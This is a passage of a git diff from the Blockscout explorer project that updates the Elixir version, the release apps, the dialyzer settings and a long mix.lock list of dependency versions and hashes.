${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} /app + +USER ${BLOCKSCOUT_USER}:${BLOCKSCOUT_GROUP} diff --git a/funding.json b/funding.json new file mode 100644 index 000000000000..9f60bd9e2e43 --- /dev/null +++ b/funding.json @@ -0,0 +1,5 @@ +{ + "opRetro": { + "projectId": "0x06EE840642a33367ee59fCA237F270d5119d1356" + } +} diff --git a/mix.exs b/mix.exs index 02e6f35047ff..e3d581a7a6bf 100644 --- a/mix.exs +++ b/mix.exs @@ -7,11 +7,11 @@ defmodule BlockScout.Mixfile do [ # app: :block_scout, # aliases: aliases(config_env()), - version: "4.1.8", + version: "9.1.1", apps_path: "apps", deps: deps(), dialyzer: dialyzer(), - elixir: "~> 1.13", + elixir: "~> 1.17", preferred_cli_env: [ credo: :test, dialyzer: :test @@ -23,7 +23,9 @@ defmodule BlockScout.Mixfile do block_scout_web: :permanent, ethereum_jsonrpc: :permanent, explorer: :permanent, - indexer: :permanent + indexer: :permanent, + utils: :permanent, + nft_media_handler: :permanent ], steps: [:assemble, ©_prod_runtime_config/1], validate_compile_env: false @@ -52,9 +54,9 @@ defmodule BlockScout.Mixfile do defp dialyzer() do [ - plt_add_deps: :transitive, - plt_add_apps: ~w(ex_unit mix)a, - ignore_warnings: ".dialyzer-ignore", + plt_add_deps: :app_tree, + plt_add_apps: ~w(credo ex_unit mix wallaby)a, + ignore_warnings: ".dialyzer_ignore.exs", plt_core_path: "priv/plts", plt_file: {:no_warn, "priv/plts/dialyzer.plt"} ] @@ -92,10 +94,12 @@ defmodule BlockScout.Mixfile do # and cannot be accessed from applications inside the apps folder defp deps do [ - {:absinthe_plug, git: "https://github.com/blockscout/absinthe_plug.git", tag: "1.5.3", override: true}, - {:tesla, "~> 1.4.4"}, + {:prometheus_ex, "~> 5.0.0", override: true}, + {:absinthe_plug, git: "https://github.com/blockscout/absinthe_plug.git", tag: "1.5.8", override: true}, + {:tesla, "~> 1.15.3"}, + {:mint, "~> 1.7.1"}, # Documentation - {:ex_doc, "~> 0.28.2", only: :dev, runtime: false}, + {:ex_doc, "~> 0.38.1", only: :dev, runtime: false}, {:number, "~> 1.0.3"} ] end diff --git a/mix.lock b/mix.lock index ebd7454167ae..1bf6939617ee 100644 --- a/mix.lock +++ b/mix.lock @@ -1,135 +1,183 @@ %{ - "absinthe": {:hex, :absinthe, "1.7.0", "36819e7b1fd5046c9c734f27fe7e564aed3bda59f0354c37cd2df88fd32dd014", [:mix], [{:dataloader, "~> 1.0.0", [hex: :dataloader, repo: "hexpm", optional: true]}, {:decimal, "~> 1.0 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: true]}, {:nimble_parsec, "~> 0.5 or ~> 1.0", [hex: :nimble_parsec, repo: "hexpm", optional: false]}, {:telemetry, "~> 1.0 or ~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "566a5b5519afc9b29c4d367f0c6768162de3ec03e9bf9916f9dc2bcbe7c09643"}, - "absinthe_phoenix": {:hex, :absinthe_phoenix, "2.0.2", "e607b438db900049b9b3760f8ecd0591017a46122fffed7057bf6989020992b5", [:mix], [{:absinthe, "~> 1.5", [hex: :absinthe, repo: "hexpm", optional: false]}, {:absinthe_plug, "~> 1.5", [hex: :absinthe_plug, repo: "hexpm", optional: false]}, {:decimal, "~> 1.0 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:phoenix, "~> 1.5", [hex: :phoenix, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.13 or ~> 3.0", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 2.0", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}], "hexpm", "d36918925c380dc7d2ed7d039c9a3b4182ec36723f7417a68745ade5aab22f8d"}, - "absinthe_plug": {:git, "https://github.com/blockscout/absinthe_plug.git", "c435d43f316769e1beee1dbe500b623124c96785", [tag: "1.5.3"]}, + "absinthe": {:hex, :absinthe, "1.7.10", "b33471b593260f148d05e4d771d1857e07b70a680f89cfa75184098bef4ec893", [:mix], [{:dataloader, "~> 1.0.0 or ~> 2.0", [hex: :dataloader, repo: "hexpm", optional: true]}, {:decimal, "~> 2.0", [hex: :decimal, repo: "hexpm", optional: true]}, {:nimble_parsec, "~> 1.2.2 or ~> 1.3", [hex: :nimble_parsec, repo: "hexpm", optional: false]}, {:opentelemetry_process_propagator, "~> 0.2.1 or ~> 0.3", [hex: :opentelemetry_process_propagator, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "ffda95735364c041a65a4b0e02ffb04eabb1e52ab664fa7eeecefb341449e8c2"}, + "absinthe_phoenix": {:hex, :absinthe_phoenix, "2.0.3", "74e0862f280424b7bc290f6f69e133268bce0b4e7db0218c7e129c5c2b1d3fd4", [:mix], [{:absinthe, "~> 1.5", [hex: :absinthe, repo: "hexpm", optional: false]}, {:absinthe_plug, "~> 1.5", [hex: :absinthe_plug, repo: "hexpm", optional: false]}, {:decimal, "~> 1.0 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:phoenix, "~> 1.5", [hex: :phoenix, repo: "hexpm", optional: false]}, {:phoenix_html, "~> 2.13 or ~> 3.0 or ~> 4.0", [hex: :phoenix_html, repo: "hexpm", optional: true]}, {:phoenix_pubsub, "~> 2.0", [hex: :phoenix_pubsub, repo: "hexpm", optional: false]}], "hexpm", "caffaea03c17ea7419fe07e4bc04c2399c47f0d8736900623dbf4749a826fd2c"}, + "absinthe_plug": {:git, "https://github.com/blockscout/absinthe_plug.git", "90a8188e94e2650f13259fb16462075a87f98e18", [tag: "1.5.8"]}, "absinthe_relay": {:hex, :absinthe_relay, "1.5.2", "cfb8aed70f4e4c7718d3f1c212332d2ea728f17c7fc0f68f1e461f0f5f0c4b9a", [:mix], [{:absinthe, "~> 1.5.0 or ~> 1.6.0 or ~> 1.7.0", [hex: :absinthe, repo: "hexpm", optional: false]}, {:ecto, "~> 2.0 or ~> 3.0", [hex: :ecto, repo: "hexpm", optional: true]}], "hexpm", "0587ee913afa31512e1457a5064ee88427f8fe7bcfbeeecd41c71d9cff0b62b6"}, "accept": {:hex, :accept, "0.3.5", "b33b127abca7cc948bbe6caa4c263369abf1347cfa9d8e699c6d214660f10cd1", [:rebar3], [], "hexpm", "11b18c220bcc2eab63b5470c038ef10eb6783bcb1fcdb11aa4137defa5ac1bb8"}, - "bcrypt_elixir": {:hex, :bcrypt_elixir, "3.0.1", "9be815469e6bfefec40fa74658ecbbe6897acfb57614df1416eeccd4903f602c", [:make, :mix], [{:comeonin, "~> 5.3", [hex: :comeonin, repo: "hexpm", optional: false]}, {:elixir_make, "~> 0.6", [hex: :elixir_make, repo: "hexpm", optional: false]}], "hexpm", "486bb95efb645d1efc6794c1ddd776a186a9a713abf06f45708a6ce324fb96cf"}, - "benchee": {:hex, :benchee, "1.1.0", "f3a43817209a92a1fade36ef36b86e1052627fd8934a8b937ac9ab3a76c43062", [:mix], [{:deep_merge, "~> 1.0", [hex: :deep_merge, repo: "hexpm", optional: false]}, {:statistex, "~> 1.0", [hex: :statistex, repo: "hexpm", optional: false]}], "hexpm", "7da57d545003165a012b587077f6ba90b89210fd88074ce3c60ce239eb5e6d93"}, + "bamboo": {:hex, :bamboo, "2.5.0", "973f5cb1471a1d2d7d9da7b8e4f6096afb6a133f85394631184fd40be8adb8ab", [:mix], [{:hackney, ">= 1.15.2", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:mime, "~> 1.4 or ~> 2.0", [hex: :mime, repo: "hexpm", optional: false]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "35c8635ff6677a81ab7258944ff15739280f3254a041b6f0229dddeb9b90ad3d"}, + "bcrypt_elixir": {:hex, :bcrypt_elixir, "3.3.2", "d50091e3c9492d73e17fc1e1619a9b09d6a5ef99160eb4d736926fd475a16ca3", [:make, :mix], [{:comeonin, "~> 5.3", [hex: :comeonin, repo: "hexpm", optional: false]}, {:elixir_make, "~> 0.6", [hex: :elixir_make, repo: "hexpm", optional: false]}], "hexpm", "471be5151874ae7931911057d1467d908955f93554f7a6cd1b7d804cac8cef53"}, + "benchee": {:hex, :benchee, "1.4.0", "9f1f96a30ac80bab94faad644b39a9031d5632e517416a8ab0a6b0ac4df124ce", [:mix], [{:deep_merge, "~> 1.0", [hex: :deep_merge, repo: "hexpm", optional: false]}, {:statistex, "~> 1.0", [hex: :statistex, repo: "hexpm", optional: false]}, {:table, "~> 0.1.0", [hex: :table, repo: "hexpm", optional: true]}], "hexpm", "299cd10dd8ce51c9ea3ddb74bb150f93d25e968f93e4c1fa31698a8e4fa5d715"}, "benchee_csv": {:hex, :benchee_csv, "1.0.0", "0b3b9223290bfcb8003552705bec9bcf1a89b4a83b70bd686e45295c264f3d16", [:mix], [{:benchee, ">= 0.99.0 and < 2.0.0", [hex: :benchee, repo: "hexpm", optional: false]}, {:csv, "~> 2.0", [hex: :csv, repo: "hexpm", optional: false]}], "hexpm", "cdefb804c021dcf7a99199492026584be9b5a21d6644ac0d01c81c5d97c520d5"}, - "binary": {:hex, :binary, "0.0.5", "20d816f7274ea34f1b673b4cff2fdb9ebec9391a7a68c349070d515c66b1b2cf", [:mix], [], "hexpm", "ee1e9ebcab703a4e24db554957fbb540642fe9327eb9e295cb3f07dd7c11ddb2"}, - "briefly": {:git, "https://github.com/CargoSense/briefly.git", "1dd66ee19ca84ed60f4eca47fee59227ba960fb7", []}, - "bunt": {:hex, :bunt, "0.2.1", "e2d4792f7bc0ced7583ab54922808919518d0e57ee162901a16a1b6664ef3b14", [:mix], [], "hexpm", "a330bfb4245239787b15005e66ae6845c9cd524a288f0d141c148b02603777a5"}, + "blake2": {:hex, :blake2, "1.0.4", "8263c69a191142922bc2510f1ffc0de0ae96e8c3bd5e2ad3fac7e87aed94c8b1", [:mix], [], "hexpm", "e9f4120d163ba14d86304195e50745fa18483e6ad2be94c864ae449bbdd6a189"}, + "briefly": {:git, "https://github.com/CargoSense/briefly.git", "4836ba322ffb504a102a15cc6e35d928ef97120e", []}, + "brotli": {:hex, :brotli, "0.3.2", "59cf45a399098516f1d34f70d8e010e5c9bf326659d3ef34c7cc56793339002b", [:rebar3], [], "hexpm", "9ec3ef9c753f80d0c657b4905193c55e5198f169fa1d1c044d8601d4d931a2ad"}, + "bunt": {:hex, :bunt, "1.0.0", "081c2c665f086849e6d57900292b3a161727ab40431219529f13c4ddcf3e7a44", [:mix], [], "hexpm", "dc5f86aa08a5f6fa6b8096f0735c4e76d54ae5c9fa2c143e5a1fc7c1cd9bb6b5"}, + "bureaucrat": {:hex, :bureaucrat, "0.2.10", "b0de157dad540e40007b663b683f716ced21f85ff0591093aadb209ad0d967e1", [:mix], [{:inflex, ">= 1.10.0", [hex: :inflex, repo: "hexpm", optional: false]}, {:phoenix, ">= 1.2.0", [hex: :phoenix, repo: "hexpm", optional: true]}, {:plug, ">= 1.0.0", [hex: :plug, repo: "hexpm", optional: false]}, {:poison, "~> 1.5 or ~> 2.0 or ~> 3.0 or ~> 4.0 or ~> 5.0", [hex: :poison, repo: "hexpm", optional: true]}], "hexpm", "bc7e5162b911c29c8ebefee87a2c16fbf13821a58f448a8fd024eb6c17fae15c"}, "bypass": {:hex, :bypass, "2.1.0", "909782781bf8e20ee86a9cabde36b259d44af8b9f38756173e8f5e2e1fabb9b1", [:mix], [{:plug, "~> 1.7", [hex: :plug, repo: "hexpm", optional: false]}, {:plug_cowboy, "~> 2.0", [hex: :plug_cowboy, repo: "hexpm", optional: false]}, {:ranch, "~> 1.3", [hex: :ranch, repo: "hexpm", optional: false]}], "hexpm", "d9b5df8fa5b7a6efa08384e9bbecfe4ce61c77d28a4282f79e02f1ef78d96b80"}, - "cbor": {:hex, :cbor, "1.0.0", "35d33a26f6420ce3d2d01c0b1463a748b34c537d5609fc40116daf3666700d36", [:mix], [], "hexpm", "cc5e21e0fa5a0330715a3806c67bc294f8b65d07160f751b5bd6058bed1962ac"}, - "certifi": {:hex, :certifi, "2.9.0", "6f2a475689dd47f19fb74334859d460a2dc4e3252a3324bd2111b8f0429e7e21", [:rebar3], [], "hexpm", "266da46bdb06d6c6d35fde799bcb28d36d985d424ad7c08b5bb48f5b5cdd4641"}, - "cldr_utils": {:hex, :cldr_utils, "2.19.1", "5a7bcd2f2fd432c548e494e850bba8a9e838f1b10202f682ea1d9809d74eff31", [:mix], [{:castore, "~> 0.1", [hex: :castore, repo: "hexpm", optional: true]}, {:certifi, "~> 2.5", [hex: :certifi, repo: "hexpm", optional: true]}, {:decimal, "~> 1.9 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}], "hexpm", "fbd10f79363e70f3d893ab21e195f444ca87c2c80120b5911761491da4489620"}, - "coerce": {:hex, :coerce, "1.0.1", "211c27386315dc2894ac11bc1f413a0e38505d808153367bd5c6e75a4003d096", [:mix], [], "hexpm", "b44a691700f7a1a15b4b7e2ff1fa30bebd669929ac8aa43cffe9e2f8bf051cf1"}, + "cachex": {:hex, :cachex, "4.1.1", "574c5cd28473db313a0a76aac8c945fe44191659538ca6a1e8946ec300b1a19f", [:mix], [{:eternal, "~> 1.2", [hex: :eternal, repo: "hexpm", optional: false]}, {:ex_hash_ring, "~> 6.0", [hex: :ex_hash_ring, repo: "hexpm", optional: false]}, {:jumper, "~> 1.0", [hex: :jumper, repo: "hexpm", optional: false]}, {:sleeplocks, "~> 1.1", [hex: :sleeplocks, repo: "hexpm", optional: false]}, {:unsafe, "~> 1.0", [hex: :unsafe, repo: "hexpm", optional: false]}], "hexpm", "d6b7449ff98d6bb92dda58bd4fc3189cae9f99e7042054d669596f56dc503cd8"}, + "cafezinho": {:hex, :cafezinho, "0.4.4", "36c31fc5456b1284180d8a9d968c7eaaf474782df5af023a8f8b66937c5b2785", [:mix], [{:rustler, ">= 0.0.0", [hex: :rustler, repo: "hexpm", optional: true]}, {:rustler_precompiled, "~> 0.8", [hex: :rustler_precompiled, repo: "hexpm", optional: false]}], "hexpm", "3ca334f2a2992ec081868c39ad0487eb97d213292702aae6b197fd5e6f04fd58"}, + "castore": {:hex, :castore, "1.0.15", "8aa930c890fe18b6fe0a0cff27b27d0d4d231867897bd23ea772dee561f032a3", [:mix], [], "hexpm", "96ce4c69d7d5d7a0761420ef743e2f4096253931a3ba69e5ff8ef1844fe446d3"}, + "cbor": {:hex, :cbor, "1.0.1", "39511158e8ea5a57c1fcb9639aaa7efde67129678fee49ebbda780f6f24959b0", [:mix], [], "hexpm", "5431acbe7a7908f17f6a9cd43311002836a34a8ab01876918d8cfb709cd8b6a2"}, + "cc_precompiler": {:hex, :cc_precompiler, "0.1.11", "8c844d0b9fb98a3edea067f94f616b3f6b29b959b6b3bf25fee94ffe34364768", [:mix], [{:elixir_make, "~> 0.7", [hex: :elixir_make, repo: "hexpm", optional: false]}], "hexpm", "3427232caf0835f94680e5bcf082408a70b48ad68a5f5c0b02a3bea9f3a075b9"}, + "certifi": {:hex, :certifi, "2.15.0", "0e6e882fcdaaa0a5a9f2b3db55b1394dba07e8d6d9bcad08318fb604c6839712", [:rebar3], [], "hexpm", "b147ed22ce71d72eafdad94f055165c1c182f61a2ff49df28bcc71d1d5b94a60"}, + "cldr_utils": {:hex, :cldr_utils, "2.28.3", "d0ac5ed25913349dfaca8b7fe14722d588d8ccfa3e335b0510c7cc3f3c54d4e6", [:mix], [{:castore, "~> 0.1 or ~> 1.0", [hex: :castore, repo: "hexpm", optional: true]}, {:certifi, "~> 2.5", [hex: :certifi, repo: "hexpm", optional: true]}, {:decimal, "~> 1.9 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}], "hexpm", "40083cd9a5d187f12d675cfeeb39285f0d43e7b7f2143765161b72205d57ffb5"}, + "cloak": {:hex, :cloak, "1.1.4", "aba387b22ea4d80d92d38ab1890cc528b06e0e7ef2a4581d71c3fdad59e997e7", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}], "hexpm", "92b20527b9aba3d939fab0dd32ce592ff86361547cfdc87d74edce6f980eb3d7"}, + "cloak_ecto": {:hex, :cloak_ecto, "1.3.0", "0de127c857d7452ba3c3367f53fb814b0410ff9c680a8d20fbe8b9a3c57a1118", [:mix], [{:cloak, "~> 1.1.1", [hex: :cloak, repo: "hexpm", optional: false]}, {:ecto, "~> 3.0", [hex: :ecto, repo: "hexpm", optional: false]}], "hexpm", "314beb0c123b8a800418ca1d51065b27ba3b15f085977e65c0f7b2adab2de1cc"}, "combine": {:hex, :combine, "0.10.0", "eff8224eeb56498a2af13011d142c5e7997a80c8f5b97c499f84c841032e429f", [:mix], [], "hexpm", "1b1dbc1790073076580d0d1d64e42eae2366583e7aecd455d1215b0d16f2451b"}, - "comeonin": {:hex, :comeonin, "5.3.3", "2c564dac95a35650e9b6acfe6d2952083d8a08e4a89b93a481acb552b325892e", [:mix], [], "hexpm", "3e38c9c2cb080828116597ca8807bb482618a315bfafd98c90bc22a821cc84df"}, - "con_cache": {:hex, :con_cache, "1.0.0", "6405e2bd5d5005334af72939432783562a8c35a196c2e63108fe10bb97b366e6", [:mix], [], "hexpm", "4d1f5cb1a67f3c1a468243dc98d10ac83af7f3e33b7e7c15999dc2c9bc0a551e"}, + "comeonin": {:hex, :comeonin, "5.5.1", "5113e5f3800799787de08a6e0db307133850e635d34e9fab23c70b6501669510", [:mix], [], "hexpm", "65aac8f19938145377cee73973f192c5645873dcf550a8a6b18187d17c13ccdb"}, + "complex": {:hex, :complex, "0.6.0", "b0130086a7a8c33574d293b2e0e250f4685580418eac52a5658a4bd148f3ccf1", [:mix], [], "hexpm", "0a5fa95580dcaf30fcd60fe1aaf24327c0fe401e98c24d892e172e79498269f9"}, + "con_cache": {:hex, :con_cache, "1.1.1", "9f47a68dfef5ac3bbff8ce2c499869dbc5ba889dadde6ac4aff8eb78ddaf6d82", [:mix], [{:telemetry, "~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "1def4d1bec296564c75b5bbc60a19f2b5649d81bfa345a2febcc6ae380e8ae15"}, "connection": {:hex, :connection, "1.1.0", "ff2a49c4b75b6fb3e674bfc5536451607270aac754ffd1bdfe175abe4a6d7a68", [:mix], [], "hexpm", "722c1eb0a418fbe91ba7bd59a47e28008a189d47e37e0e7bb85585a016b2869c"}, "cors_plug": {:hex, :cors_plug, "3.0.3", "7c3ac52b39624bc616db2e937c282f3f623f25f8d550068b6710e58d04a0e330", [:mix], [{:plug, "~> 1.13", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "3f2d759e8c272ed3835fab2ef11b46bddab8c1ab9528167bd463b6452edf830d"}, - "cowboy": {:hex, :cowboy, "2.9.0", "865dd8b6607e14cf03282e10e934023a1bd8be6f6bacf921a7e2a96d800cd452", [:make, :rebar3], [{:cowlib, "2.11.0", [hex: :cowlib, repo: "hexpm", optional: false]}, {:ranch, "1.8.0", [hex: :ranch, repo: "hexpm", optional: false]}], "hexpm", "2c729f934b4e1aa149aff882f57c6372c15399a20d54f65c8d67bef583021bde"}, - "cowboy_telemetry": {:hex, :cowboy_telemetry, "0.3.1", "ebd1a1d7aff97f27c66654e78ece187abdc646992714164380d8a041eda16754", [:rebar3], [{:cowboy, "~> 2.7", [hex: :cowboy, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "3a6efd3366130eab84ca372cbd4a7d3c3a97bdfcfb4911233b035d117063f0af"}, - "cowlib": {:hex, :cowlib, "2.11.0", "0b9ff9c346629256c42ebe1eeb769a83c6cb771a6ee5960bd110ab0b9b872063", [:make, :rebar3], [], "hexpm", "2b3e9da0b21c4565751a6d4901c20d1b4cc25cbb7fd50d91d2ab6dd287bc86a9"}, - "credo": {:hex, :credo, "1.6.7", "323f5734350fd23a456f2688b9430e7d517afb313fbd38671b8a4449798a7854", [:mix], [{:bunt, "~> 0.2.1", [hex: :bunt, repo: "hexpm", optional: false]}, {:file_system, "~> 0.2.8", [hex: :file_system, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "41e110bfb007f7eda7f897c10bf019ceab9a0b269ce79f015d54b0dcf4fc7dd3"}, - "csv": {:hex, :csv, "2.4.1", "50e32749953b6bf9818dbfed81cf1190e38cdf24f95891303108087486c5925e", [:mix], [{:parallel_stream, "~> 1.0.4", [hex: :parallel_stream, repo: "hexpm", optional: false]}], "hexpm", "54508938ac67e27966b10ef49606e3ad5995d665d7fc2688efb3eab1307c9079"}, - "dataloader": {:hex, :dataloader, "1.0.10", "a42f07641b1a0572e0b21a2a5ae1be11da486a6790f3d0d14512d96ff3e3bbe9", [:mix], [{:ecto, ">= 3.4.3 and < 4.0.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:telemetry, "~> 1.0 or ~> 0.4", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "54cd70cec09addf4b2ace14cc186a283a149fd4d3ec5475b155951bf33cd963f"}, - "db_connection": {:hex, :db_connection, "2.4.2", "f92e79aff2375299a16bcb069a14ee8615c3414863a6fef93156aee8e86c2ff3", [:mix], [{:connection, "~> 1.0", [hex: :connection, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "4fe53ca91b99f55ea249693a0229356a08f4d1a7931d8ffa79289b145fe83668"}, - "decimal": {:hex, :decimal, "2.0.0", "a78296e617b0f5dd4c6caf57c714431347912ffb1d0842e998e9792b5642d697", [:mix], [], "hexpm", "34666e9c55dea81013e77d9d87370fe6cb6291d1ef32f46a1600230b1d44f577"}, + "cowboy": {:hex, :cowboy, "2.13.0", "09d770dd5f6a22cc60c071f432cd7cb87776164527f205c5a6b0f24ff6b38990", [:make, :rebar3], [{:cowlib, ">= 2.14.0 and < 3.0.0", [hex: :cowlib, repo: "hexpm", optional: false]}, {:ranch, ">= 1.8.0 and < 3.0.0", [hex: :ranch, repo: "hexpm", optional: false]}], "hexpm", "e724d3a70995025d654c1992c7b11dbfea95205c047d86ff9bf1cda92ddc5614"}, + "cowboy_telemetry": {:hex, :cowboy_telemetry, "0.4.0", "f239f68b588efa7707abce16a84d0d2acf3a0f50571f8bb7f56a15865aae820c", [:rebar3], [{:cowboy, "~> 2.7", [hex: :cowboy, repo: "hexpm", optional: false]}, {:telemetry, "~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "7d98bac1ee4565d31b62d59f8823dfd8356a169e7fcbb83831b8a5397404c9de"}, + "cowlib": {:hex, :cowlib, "2.15.0", "3c97a318a933962d1c12b96ab7c1d728267d2c523c25a5b57b0f93392b6e9e25", [:make, :rebar3], [], "hexpm", "4f00c879a64b4fe7c8fcb42a4281925e9ffdb928820b03c3ad325a617e857532"}, + "credo": {:hex, :credo, "1.7.12", "9e3c20463de4b5f3f23721527fcaf16722ec815e70ff6c60b86412c695d426c1", [:mix], [{:bunt, "~> 0.2.1 or ~> 1.0", [hex: :bunt, repo: "hexpm", optional: false]}, {:file_system, "~> 0.2 or ~> 1.0", [hex: :file_system, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "8493d45c656c5427d9c729235b99d498bd133421f3e0a683e5c1b561471291e5"}, + "csv": {:hex, :csv, "2.5.0", "c47b5a5221bf2e56d6e8eb79e77884046d7fd516280dc7d9b674251e0ae46246", [:mix], [{:parallel_stream, "~> 1.0.4 or ~> 1.1.0", [hex: :parallel_stream, repo: "hexpm", optional: false]}], "hexpm", "e821f541487045c7591a1963eeb42afff0dfa99bdcdbeb3410795a2f59c77d34"}, + "dataloader": {:hex, :dataloader, "2.0.2", "c45075e0692e68638a315e14f747bd8d7065fb5f38705cf980f62d4cd344401f", [:mix], [{:ecto, ">= 3.4.3 and < 4.0.0", [hex: :ecto, repo: "hexpm", optional: true]}, {:opentelemetry_process_propagator, "~> 0.2.1 or ~> 0.3", [hex: :opentelemetry_process_propagator, repo: "hexpm", optional: true]}, {:telemetry, "~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "4c6cabc0b55e96e7de74d14bf37f4a5786f0ab69aa06764a1f39dda40079b098"}, + "db_connection": {:hex, :db_connection, "2.8.0", "64fd82cfa6d8e25ec6660cea73e92a4cbc6a18b31343910427b702838c4b33b2", [:mix], [{:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "008399dae5eee1bf5caa6e86d204dcb44242c82b1ed5e22c881f2c34da201b15"}, + "ddskerl": {:hex, :ddskerl, "0.4.2", "a51a90be9ac9b36a94017670bed479c623b10ca9d4bda1edf3a0e48caeeada2a", [:rebar3], [], "hexpm", "63f907373d7e548151d584d4da8a38928fd26ec9477b94c0ffaad87d7cb69fe7"}, + "decimal": {:hex, :decimal, "2.3.0", "3ad6255aa77b4a3c4f818171b12d237500e63525c2fd056699967a3e7ea20f62", [:mix], [], "hexpm", "a4d66355cb29cb47c3cf30e71329e58361cfcb37c34235ef3bf1d7bf3773aeac"}, "decorator": {:hex, :decorator, "1.4.0", "a57ac32c823ea7e4e67f5af56412d12b33274661bb7640ec7fc882f8d23ac419", [:mix], [], "hexpm", "0a07cedd9083da875c7418dea95b78361197cf2bf3211d743f6f7ce39656597f"}, "deep_merge": {:hex, :deep_merge, "1.0.0", "b4aa1a0d1acac393bdf38b2291af38cb1d4a52806cf7a4906f718e1feb5ee961", [:mix], [], "hexpm", "ce708e5f094b9cd4e8f2be4f00d2f4250c4095be93f8cd6d018c753894885430"}, - "dialyxir": {:hex, :dialyxir, "1.2.0", "58344b3e87c2e7095304c81a9ae65cb68b613e28340690dfe1a5597fd08dec37", [:mix], [{:erlex, ">= 0.2.6", [hex: :erlex, repo: "hexpm", optional: false]}], "hexpm", "61072136427a851674cab81762be4dbeae7679f85b1272b6d25c3a839aff8463"}, - "digital_token": {:hex, :digital_token, "0.4.0", "2ad6894d4a40be8b2890aad286ecd5745fa473fa5699d80361a8c94428edcd1f", [:mix], [{:cldr_utils, "~> 2.17", [hex: :cldr_utils, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "a178edf61d1fee5bb3c34e14b0f4ee21809ee87cade8738f87337e59e5e66e26"}, - "earmark": {:hex, :earmark, "1.3.5", "0db71c8290b5bc81cb0101a2a507a76dca659513984d683119ee722828b424f6", [:mix], [], "hexpm", "762b999fd414fb41e297944228aa1de2cd4a3876a07f968c8b11d1e9a2190d07"}, - "earmark_parser": {:hex, :earmark_parser, "1.4.26", "f4291134583f373c7d8755566122908eb9662df4c4b63caa66a0eabe06569b0a", [:mix], [], "hexpm", "48d460899f8a0c52c5470676611c01f64f3337bad0b26ddab43648428d94aabc"}, - "ecto": {:hex, :ecto, "3.7.1", "a20598862351b29f80f285b21ec5297da1181c0442687f9b8329f0445d228892", [:mix], [{:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "d36e5b39fc479e654cffd4dbe1865d9716e4a9b6311faff799b6f90ab81b8638"}, - "ecto_sql": {:hex, :ecto_sql, "3.7.1", "8de624ef50b2a8540252d8c60506379fbbc2707be1606853df371cf53df5d053", [:mix], [{:db_connection, "~> 2.2", [hex: :db_connection, repo: "hexpm", optional: false]}, {:ecto, "~> 3.7.0", [hex: :ecto, repo: "hexpm", optional: false]}, {:myxql, "~> 0.4.0 or ~> 0.5.0", [hex: :myxql, repo: "hexpm", optional: true]}, {:postgrex, "~> 0.15.0 or ~> 1.0", [hex: :postgrex, repo: "hexpm", optional: true]}, {:tds, "~> 2.1.1 or ~> 2.2", [hex: :tds, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4.0 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "2b42a32e2ce92f64aba5c88617891ab3b0ba34f3f3a503fa20009eae1a401c81"}, - "elixir_make": {:hex, :elixir_make, "0.6.3", "bc07d53221216838d79e03a8019d0839786703129599e9619f4ab74c8c096eac", [:mix], [], "hexpm", "f5cbd651c5678bcaabdbb7857658ee106b12509cd976c2c2fca99688e1daf716"}, - "erlex": {:hex, :erlex, "0.2.6", "c7987d15e899c7a2f34f5420d2a2ea0d659682c06ac607572df55a43753aa12e", [:mix], [], "hexpm", "2ed2e25711feb44d52b17d2780eabf998452f6efda104877a3881c2f8c0c0c75"}, - "ex_abi": {:hex, :ex_abi, "0.5.11", "a53307cf796231bf068a9941d57fbcb8654e72042c2a113a49f08dfb248875fb", [:mix], [{:ex_keccak, "~> 0.4.0", [hex: :ex_keccak, repo: "hexpm", optional: false]}, {:jason, "~> 1.3", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "e128577740bdc0f05ed6841cbb1c88bb80377613970ed870fa052b780870655a"}, - "ex_cldr": {:hex, :ex_cldr, "2.33.2", "8adc4df3985e7f5d1d55cbbf72f993569de20eff5012ff3ea9412753961d4c00", [:mix], [{:castore, "~> 0.1", [hex: :castore, repo: "hexpm", optional: true]}, {:certifi, "~> 2.5", [hex: :certifi, repo: "hexpm", optional: true]}, {:cldr_utils, "~> 2.18", [hex: :cldr_utils, repo: "hexpm", optional: false]}, {:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: 